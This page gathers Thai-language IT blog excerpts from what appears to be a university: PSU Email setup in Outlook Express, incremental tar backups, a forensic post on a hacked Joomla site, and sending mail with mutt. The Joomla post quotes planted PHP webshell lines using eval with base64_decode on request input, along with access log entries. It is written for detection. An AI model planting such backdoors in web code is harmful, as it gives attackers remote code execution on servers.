วิธีตั้งค่า PSU Email สำหรับ Outlook Express

การตั้งค่า Outlook Express ให้ใช้งานกับ PSU Email โดย สมมุติว่า 1. ผู้ใช้ชื่อ Username Surname ใช้ email address เป็น username.s@psu.ac.th 2. Incoming Server : mail.psu.ac.th และใช้งานผ่าน IMAP 3. ตั้งค่า Outgoing Server: smtp2.psu.ac.th Port: 587 และมีการเข้ารหัสข้อมูลในการส่ง (STARTTLS ) รวมถึงมีการยืนยันตัวตนก่อน (SMTP Authentication) ทำให้สามารถใช้งานได้จากทั่วโลก   วิธีการตั้งค่า มีดังนี้ 1) ใส่ชื่อและนามสกุล 2. ใส่ email address 3. ตั้งค่าการเชื่อมต่อเป็น IMAP Incoming mail: mail.psu.ac.th Outgoning mail: smtp2.psu.ac.th 4. ใส่ username และ password ของ PSU Email   5. เสร็จการเริ่มต้นตั้งค่า 6.  ต่อไป เป็นการตั้งค่าความปลอดภัยอื่นๆ ไปที่ Tools > Accounts … 7. คลิกที่ Mail > mail.psu.ac.th > Properties จากนั้นคลิก Tab “Servers” , ในส่วนของ Outgoing Mail Server ให้ติ๊กที่ My Server requires authentication คลิกที่ปุ่ม Setting คลิกที่ Use same setting as my incoming mail server แล้วคลิก OK   8. ไป Tab “Advanced” ตั้งค่า Server Port Numbers ของ Outgoing  Mail Server เป็น 587 และติ๊ก This server requires a secure connection (SSL)         เป็นอันเรียบร้อย

Read More »

แนวทางการ Backup บน Ubuntu Server (กรณีระบบ PSU EMail) #2

ขยายความต่อจาก แนวทางการ Backup บน Ubuntu Server (กรณีระบบ PSU EMail) ลองมาดูทีละขั้นตอน 1. ใน directory username.s มีไฟล์ดังนี้ $ ls -l username.s total 0 -rw-rw-r– 1 mama mama 0 2013-04-29 14:31 a.txt -rw-rw-r– 1 mama mama 0 2013-04-29 14:31 b.txt -rw-rw-r– 1 mama mama 0 2013-04-29 14:31 c.txt -rw-rw-r– 1 mama mama 0 2013-04-29 14:31 d.txt -rw-rw-r– 1 mama mama 0 2013-04-29 14:31 e.txt 2. ใช้คำสั่งต่อไปนี้ เพื่อทำการ Full Backup tar -zcf username.s-full.tar.gz -g username.s.snar username.s ดูไฟล์ใน username.s-full-tar.gz ด้วยคำสั่ง tar -ztf username.s-full.tar.gz -g username.s.snar username.s จะมีไฟล์ดังนี้ username.s/ username.s/a.txt username.s/b.txt username.s/c.txt username.s/d.txt username.s/e.txt 3. ต่อมามีไฟล์เกิดใหม่ 2 ไฟล์ ชื่อ f.txt, g.txt 4. เมื่อถึงเวลา ระบบทำการ Incremental Backup ด้วยคำสั่ง tar -zcf username.s-i01.tar.gz -g username.s.snar username.s ดูไฟล์ใน username.s-i01-tar.gz ด้วยคำสั่ง tar -ztf username.s-i01.tar.gz -g username.s.snar username.s จะมีไฟล์ดังนี้ username.s/ username.s/f.txt username.s/g.txt 5. ลบไฟล์ c.txt, e.txt และมีไฟล์ h.txt เกิดขึ้น 6. เมื่อถึงเวลา ระบบทำการ Incremental Backup ด้วยคำสั่ง tar -zcf username.s-i02.tar.gz -g username.s.snar username.s ดูไฟล์ใน username.s-i02-tar.gz ด้วยคำสั่ง tar -ztf username.s-i02.tar.gz -g username.s.snar username.s จะมีไฟล์ดังนี้ username.s/ username.s/h.txt 7. (ในระบบ Email ไม่มีเหตุการณ์นี้ แต่ทำให้ดูเป็นตัวอย่าง) ถ้ามีการแก้ไขไฟล์ a.txt ซึ่งเดิมเป็นไฟล์ว่างๆ แต่ต่อมา มีการแก้ไขไฟล์ โดยเพิ่มคำว่า “hello world” เข้าไป echo “hello world” > username.s/a.txt 8. เมื่อถึงเวลา ระบบทำการ Incremental Backup ด้วยคำสั่ง tar -zcf username.s-i03.tar.gz -g username.s.snar username.s ดูไฟล์ใน username.s-i03-tar.gz ด้วยคำสั่ง tar -ztf username.s-i03.tar.gz -g username.s.snar username.s จะมีไฟล์ดังนี้ username.s/ username.s/a.txt หวังว่าจะเป็นประโยชน์ครับ

Read More »

วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2

ต่อจาก “วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1” ซึ่งเป็นวิธีการตรวจสอบ จาก วันเวลา ของไฟล์ที่ตรวจสอบพบว่า ถูกนำมาวาง จากช่องโหว่ของ Joomla แต่เมื่อตรวจสอบลึกลงไป โดยตรวจสอบ ไฟล์ที่เอามาวางไว้ พบว่ามีรูปแบบหลากหลาย *** แต่มีวิธีการเดียวกัน*** นั่นคือ การใช้ eval และ base64_decode ทั้งสิ้น ตัวอย่างที่ 1:   จะเห็นได้ว่า hacker เขียนไฟล์ดังกล่าว แล้วสร้างตัวแปรว่า $code ในนั้นเป็น Code ซึ่ง “เข้ารหัสแบบ Base64 แล้ว gzip เอาไว้” เพื่อไม่ให้เราตรวจสอบได้ง่ายๆ จากนั้น จึงใช้คำสั่ง eval(gzinflate(base64_decode($code))) ซึ่งจะ decode ข้อความแบบ Base64 ก่อน แล้วค่อย unzip ออกไปอีกที … ซับซ้อน ก็จะทำให้ hacker สามารถใช้ code นั้นๆ มาทำอะไรต่อมิอะไรในเครื่อง web server เราได้   ตัวอย่างที่ 2: ใช้วิธีไปเขียนไฟล์ ของ Joomla โดยตรง (contact.php) ซึ่งพื้นที่ดังกล่าว เปิดให้ apache เขียนได้ และมีที่เปิด Permission เป็น 777 จึงทำให้ apache เขียนได้เช่นกัน โดยในตัวอย่างนี้ ใช้วิธีเขียนไว้ที่บรรทัดแรกของไฟล์ และใช้คำสั่ง eval(base64_decode($_REQUEST[‘c_id’])) ต่างจากตัวอย่างที่ 1 ตรงที่ แทนที่จะฝัง Code ไว้ในไฟล์ ก็ใช้วิธีส่ง Code ผ่านทาง Action “POST” ของ HTTP มา (ในภาษา PHP ตัวแปรที่รับค่าจาก HTTP เข้ามามีได้ทั้ง GET, POST และ REQUEST ซึ่งตัว REQUEST ดังกล่าว สามารถรับได้ทั้งแบบ GET และ POST) ถ้าเฝ้าดูใน log ไฟล์ ก็จะเห็นรูปแบบดังนี้ 216.239.45.67 – – [24/Apr/2013:08:22:41 +0700] “GET /language/settings.class.php HTTP/1.1” 200 197 “-” “Python-urllib/2.7” 202.46.129.104 – – [24/Apr/2013:08:23:02 +0700] “POST /language/settings.class.php HTTP/1.1” 200 497 “-” “Mozilla/5.0 Firefox/3.6.12” 61.152.116.103 – – [24/Apr/2013:08:35:08 +0700] “POST /language/settings.class.php HTTP/1.1” 200 197 “-” “Mozilla/5.0 Firefox/3.6.12” 62.193.237.22 – – [24/Apr/2013:08:51:35 +0700] “POST /language/settings.class.php HTTP/1.1” 200 211 “-” “Mozilla/5.0 Firefox/3.6.12” 200.198.186.38 – – [24/Apr/2013:08:56:29 +0700] “POST /language/settings.class.php HTTP/1.1” 200 197 “-” “Mozilla/5.0 Firefox/3.6.12” 31.196.4.41 – – [24/Apr/2013:08:56:32 +0700] “POST /language/settings.class.php HTTP/1.1” 200 197 “-” “Mozilla/5.0 Firefox/3.6.12” 203.172.251.84 – – [24/Apr/2013:08:57:27

Read More »

ตัวอย่างการใช้งาน mutt เพื่อส่ง email แบบ command line

เมื่อต้องการส่ง email ด้วย command line วิธีที่ถูกต้องที่สุด ไม่ผูกติดกับ email client program บน Linux คือการสร้างไฟล์ แล้วส่งผ่าน sendmail ไม่ว่าจะเป็น original sendmail หรือ backward-compatibility ของ postfix ก็ตาม (จะกล่าวในอีกบทความหนึ่ง) แต่หากต้องการความง่าย ก็ลองใช้วิธีนี้ดูครับ ผ่านโปรแกรมชื่อ mutt ตัวอย่างคือ 1. ส่ง email ไปให้ username.s@xxx.psu.ac.th 2. บอกว่า ส่งจาก IT Department ซึ่ง email address เป็น blah@itdept.xxx.psu.ac.th 3. มี Subject ว่า This is Subject 4. แนบไฟล์ชื่อ test.txt 5. แต่จดหมายนี้ ไม่ต้องการให้ผู้ใช้ตอบกลับ จึงส่งให้ no-reply@xxx.psu.ac.th เพื่อโยนทิ้งทันที 6. เนื้อความ ว่า Hello World   สามารถใช้คำสั่งต่อไปนี้ export REPLYTO=”no-reply@xxx.psu.ac.th”; export EMAIL=”IT Department <blah@itdept.xxx.psu.ac.th>”; echo “Hello World” | mutt -s “This is Subject” -a test.txt — kanakorn.h@psu.ac.th

Read More »